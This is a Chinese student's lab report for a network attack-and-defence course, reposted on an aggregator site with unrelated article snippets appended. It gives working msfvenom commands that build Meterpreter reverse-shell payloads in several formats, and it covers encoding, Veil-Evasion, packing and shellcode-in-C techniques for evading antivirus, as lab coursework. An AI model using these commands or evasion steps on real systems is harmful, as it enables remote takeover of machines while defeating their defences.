20222304 2024-2025-1 《网络与系统攻防技术》实验三实验报告

news/2025/1/24 19:30:51/文章来源:https://www.cnblogs.com/amlyl/p/18509317
  1. 实验内容
    1.1 实践内容
    正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    使用msfvenom生成jar、apk等其他文件
    使用veil加壳工具
    使用C+ shellcode进行编程
    通过组合应用各种技术实现恶意代码免杀
    用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
    1.2问题回答
    (1)杀软是如何检测出恶意代码的?

特征码检测:杀软会维护一个已知恶意软件的特征数据库。当新文件被扫描时,杀软会对比文件中的代码与特征数据库中的已知恶意代码特征,如果匹配,就能标记为恶意。

启发式分析:这种方法不依赖于已有的特征,而是通过分析程序的行为、结构和代码模式来判断其是否为恶意软件。启发式分析能发现新型或变种恶意软件。

行为监测:在程序运行时,杀软可以实时监控其行为。如果程序表现出典型的恶意行为(如修改系统文件、连接可疑的网络地址等),杀软就会发出警报。

(2)免杀是做什么?

免杀通常指的是一种技术或手段,旨在使恶意软件能够避开杀毒软件的检测。这种方法通常用于规避检测、加密和混淆、时延加载。
(3)免杀的基本方法有哪些?

规避检测:通过修改恶意代码,使其特征(例如文件哈希、代码结构等)与杀软数据库中的特征不匹配,从而避免被检测到。

加密和混淆:将恶意代码进行加密或混淆,使其在执行时无法被杀软识别。即使文件被扫描,杀软也可能无法解析其真实内容。

反沙箱技术:一些恶意软件会检测其运行环境,当发现自己在沙箱中运行时,可能会选择不执行其恶意行为,从而躲避被检测的风险。

时延加载:恶意代码可能会在某些条件触发后才加载,例如经过一定时间或在特定操作下,这样可以减少被即时检测的风险。

利用合法程序:恶意软件可能会伪装成合法程序或者通过合法程序的漏洞传播,降低被杀软检测的可能性。
2. 实验过程
2.1 任务一:正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1.1 使用msf编码器,并尝试使用msfvenom生成如jar之类的其他文件
2.1.1.1 熟悉VirusTotal的使用
此次实验主要使用的病毒扫描服为VirusTotal
VirusTotal是一个由谷歌旗下的Chronicle运营的免费在线服务,它提供了一站式的全面安全扫描和分析服务。用户可以通过VirusTotal检测URL、文件、IP地址和域名是否包含恶意软件、钓鱼网站以及其他安全威胁。
2.1.1.2 测试编码次数对免杀效果的影响
(1)编码一次测试结果
首先利用msf生成编码一次的后门文件,输入代码:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.230 LPORT=2304 -f exe > 20222304lyl.exe
如图:

随后将生成的文件传递给主机
如图:
发现效果和前面的后门文件大差不差,免杀效果一般
这次尝试对后门文件编码12次,再测试免杀效果,输入代码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=192.168.31.124 LPORT=2304 -f exe > 20222304lyl_1.exe
如图:
同样,将生成的文件上传给VT,测试效果
如图:
发现和编码一次的免杀效果基本没有区别,还是很意外的,可见编码次数对免杀效果影响并不大
2.1.1.3 使用msfvenom生成其他格式文件,测试免杀效果
2.1.1.3.1 生成.php文件
依旧使用msfvenom功能,输入代码:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.124 LPORT=2304 x> 20222304lylphp.php
如图:
检查免杀效果
如图:
发现php文件免杀效果还不错
2.1.1.3.2 生成.jar文件
输入代码:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.31.124 LPORT=2304 -f jar x > 20222304lyljar.jar
如图:
测试免杀效果
如图:
2.1.1.3.3 生成.py文件
输入代码:msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.31.124 LPORT=2304 -f x > pyth_20222304.py
如图:
检查免杀效果
如图:
很完美的效果
2.1.1.3.4 生成.apk文件
输入代码:msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.31.124 LPORT=2304 -f x > apk_20222304.apk
如图:
再次检测免杀效果
如图:
同样很完美
由此可以看出,不同不同编程语言的payload对免杀效果是有一定影响的
2.1.2 使用veil工具
2.1.2.1 veil安装
首先检查是否有veil环境(一般没有),然后依次输入下面的命令进行安装
输入代码:apt-get install veil-evasion
还需要下载其他有关依赖和软件,这里先需要修改一个克隆地址,输入代码:cd /usr/share/veil/config vim setup.sh
如图:
然后在setup.sh文件中不断向下翻找,找到这一行,将里面git clone内容改掉,改成下面的样子,例如代码:sudo git clone https://gitee.com/spears/VeilDependencies.git
退出保存后再次输入veil,继续进行后续内容的安装,后续一直按默认安装即可
如图成功:
2.1.2.2 veil的使用
按照实验要求,我们选择文件免杀Evasion,输入代码:use evasion 之后输入:list
如图:
(1)用简单C文件
我们简单生成一个免杀文件,使用c/meterpreter/rev_tcp.py
然后IP和端口配置,输入代码:set LHOST 192.168.31.38
set LPORT 2304
options
如图:
输入:generate
如图:

然后生成文件,并且为文件输入名称:20222304lyl_veil.exe
如图:
将文件传到主机,检查免杀效果
如图:
效果很一般
(2)用.py文件
步骤和之前大差不差,这里除了payload选择需要换成 python/meterpreter/rev_tcp.py
如图:
端口、IP等配置和前面一样,这里不再赘述
如图:

传到主机,测试一下免杀效果
如图:
效果非常不错
2.1.3 使用加壳工具
2.1.3.1 压缩壳
输入代码:upx 20222304lyl_veil.exe -o 20222304veil_yasuo.exe
如图:
在拿到VT免杀测试
如图:
2.1.3.2 使用加密壳
将文件20222304lyl_veil.exe拷贝到hyperion目录下,
然后进入hyperion所在的目录,输入代码:wine hyperion.exe -v 20222304lyl_veil.exe 20222304_veil_jiami.exe
如图:
生成文件:
然后传到win主机测试免杀效果
如图:
效果不咋
2.1.4 使用C + shellcode编程
首先使用msf生成一段shellcode 输入代码:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.38 LPORT=2304 -f c
如图:
可以看到生成了一长传shllcode,将这一段buf 内容复制,然后将刚才复制的buf添加到文件里,并在后面添加以下代码
如图:
保存退出,然后将.c文件进行编译,生成.exe文件
i686-w64-mingw32-g++ 20222304lyl.c -o 20222304shellcode_3.exe
如图:
随后将.exe文件传到win主机,测试免杀效果
如图:
效果很差
2.1.5 启动杀软,查看整体免杀效果
如图:

2.2 任务二:通过组合应用各种技术实现恶意代码免杀
首先和签名c + shellcode 编译急眼。先生成一段 shellcode
输入代码:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.38 LPORT=2304 -f c
如图:
生成的shellcode如下,然后将这一段shllcode复制下来,在win主机打开CodeBlocks,新建一个.c项目,需要运行,具体代码如下
如图:
随后运行,可以得到输出的代码结果
如图:
随后再将输出得到的代码复制保留,在kali端再新建一个.c文件,然后在为生成的exe文件加一层压缩壳,生成文件ke_miansha20222304.exe
如图:
然后将其放到VT上测试免杀效果
如图:
试一试是否实现与杀软共存
如图:
很可惜失败了!!!!
2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
在kali端进入msf控制台
如图:
然后再win端执行生成的文件ke_mianhsa20222304.exe,先后测试连接
看看有没有被检查出来
如图:
很可惜失败了!!!
3. 问题与解决方案
问题一:veil安装失败!!!
首先我的问题:我没有内存,我去我的内存不够
如图:
之后我在csdn上找扩展磁盘的方法,结果失败了,很难受,虚拟机一直黑屏,搞了好久都不能,之后我就选择重新安装kali,很破防才搞好veil
一般输入:/usr/share/veil/config/setup.sh --force --silent
问题二:在任务最后通过组合应用各种技术实现恶意代码免杀,但是我的杀软一直都可以检测到,在生成ke_miansha20222304.exe文件的时候,用cmd不能打开,报错“libgcc_s_dw2-1”找不到
如图:
后续询问同学上网安装文件“libgcc_s_dw2-1”,并且讲之前的.exe文件拖入“libgcc_s_dw2-1”文件夹中,解决问题
如图:

问题三:这个是解释上述过程中虚拟机IP地址变换的原因,因为我分了三次做,第一次在教室一个IP地址,第二次我20GB磁盘大小的kali一个IP地址,第三次我重新配置的60GB磁盘大小的kali一个IP地址
4. 学习感悟、思考等
完成这些实验后,我对恶意代码免杀技术有了更深入的了解。通过使用 Metasploit 编码器、Veil-Evasion 加壳工具以及自己编写 shellcode 的方式,我意识到了恶意代码免杀不仅仅是简单地绕过杀软的检测,更是一项需要综合考虑多种因素的技术挑战。我学会了如何使用编码器来对 shellcode 进行编码,以及如何使用 Veil-Evasion 工具进行加壳。这些工具和技术使得恶意代码可以在杀软的监测下更隐蔽地运行,增加了攻击者的成功几率。通过自己编写 shellcode 并将其嵌入到 C 语言程序中,我深刻体会到了恶意代码的危害性。即使是简单的一段 shellcode,也可以在不经意间控制目标系统,造成严重的安全威胁。最重要的是,这些实验让我意识到网络安全工作的重要性。在当今数字化的社会中,恶意代码的威胁越来越严重,而作为安全从业者,我们需要不断学习和研究,以及时发现并防范各种安全威胁。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/822994.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软考刷题记录4

IPSec 用于增强 IP 网络的安全性,下面的说法中不正确的是( )。 A.IPSec 可对数据进行完整性保护 B.IPSec提供用户身份认证服务 C.IPSec的认证头添加在TCP封装内部 D.IPSec对数据加密传输 【正确答案】:C 【试题解析】: 在传输模式下,IPsec包头增加在原IP包头和数据之间,…

2.34

程序文件ex2_34.py import numpy as np a = np.array([[3, 1], [1, 2]]) b = np.array([9, 8]) x1 = np.linalg.inv(a) @ b #第一种解法 上面语句中@表示矩阵乘法 x2 = np.linalg.solve(a, b) #第二种解法 print(x1); print(x2)

2.26

import numpy as np a = np.ones(4, dtype= int) b = np.ones((4,), dtype= int) c = np.ones((4,1)) d = np.zeros(4) e = np.empty(3) f = np.eye(3) g = np.eye(3, k = 1) h = np.zeros_like(a) print(a);print(b);print(c);print(d);print(e);print(f);print(g);print(h)

陶麟鑫第二次作业

这个作业属于哪个课程 https://edu.cnblogs.com/campus/zjlg/rjjc这个作业的目标 实现一个命令行文本计数统计程序。能正确统计导入的纯英文txt文本中的字符数,单词数,句子数。姓名-学号 陶麟鑫 2022329301019Gitee仓库地址: https://gitee.com/tao-linxin/wold_-counter P…

2.20

x1 = "abcde" x2 = list(enumerate(x1)) for ind, ch in enumerate(x1): print(ch)

2.22

a = filter(lambda x: x > 10, [1, 11, 2, 45, 7, 6, 13]) b = filter(lambda x: x.isalnum(), [abc, xy12, ***]) print(list(a)); print(list(b))

数据科学项目管理的最佳实践

文章开头段落: 数据科学项目管理的最佳实践包括项目定义与规划、团队构建与合作、数据管理、流程与工具、沟通与报告。其中,项目定义与规划是项目成功的关键因素,它要求明确项目的目标、范围、时间线和预期结果。在这一阶段中,以问题为导向,制定合理的假设条件、识别关键假…

实验二 c++

实验任务一 源代码 t.h1 #pragma once2 3 #include <string>4 5 // 类T: 声明6 class T {7 // 对象属性、方法8 public:9 T(int x = 0, int y = 0); // 普通构造函数 10 T(const T &t); // 复制构造函数 11 T(T &&t); // 移动构造函数 …

2.16

from random import sample from numpy.random import randint a = sample(range(10), 5) b = randint(0, 10, 5) print(a); print(b)

Selenium测试form表单之下拉列表

处理form表单中的下拉列表,需要用到一个Selenium工具类-Select,本文主要讲了Select工具类中一些常用的元素和方法,并设计了一些测试用例测试该form表单元素处理form表单中的下拉列表,需要用到一个Selenium工具类-Select 一、Select工具类常用属性和方法方法/属性 描述1 sel…

2.11.2

import string, random, collections x = string.ascii_letters + string.digits y = .join([random.choice(x) for i in range(1000)]) count = collections.Counter(y) for k, v in sorted(count.items()): print(k, :, v)

烧碱的节奏

三波起头 预示着三波回撤。